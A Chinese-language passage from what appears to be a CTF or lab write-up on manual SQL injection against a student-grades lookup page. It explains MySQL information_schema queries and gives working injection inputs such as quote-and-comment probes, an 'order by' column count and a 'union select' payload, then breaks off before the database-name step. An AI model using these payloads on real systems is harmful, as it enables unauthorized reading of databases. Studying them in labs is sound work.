知识点:SQL注入,三种解法手动注入、sqlmap注入、python盲注
-
一、手动注入
手动注入前先理解msysql的系统配置
select 1,database(),version();//查询数据库类型和版本
select * from information_schema.schemata //数据库下的所有库 schema_name='mysql'
information_schema信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息,SCHEMATA表:提供了当前mysql实例中所有数据库的信息
SELECT * FROM information_schema.TABLES where table_schema='mysql'//数据库mysql用户下的所有表table_name
SELECT * FROM information_schema.COLUMNS where table_schema='mysql' and table_name='db' ;//条件要选用户 table_schema ,表名table_name
select USER from mysql.db //查询字段值
1、找到sql注入点
输入1,2,3分别能查到1,2,3号学生的成绩
输入1'返回异常,输入1'--+返回异常,输入1' #或者1’-- +返回正常,看来过滤了--+
(#和--+均为注释)
观察,表貌似有四列(名字,Math,English,Chinese),
输入1' order by 4#返回正常,输入1' order by 5#返回异常,看来的确是4列。
2、接下来就开始暴库名、表名、字段名
尝试联合查询,记得把前面的查询数据置空,写成id=0(0或者很大的数都可以)即可,显示正常,说明确确实实存在这四列数据
我们先手遍历一遍 id=0' union select 1,2,3,4#
发现有四个表且都有回显
开始爆破
- 首先爆库名: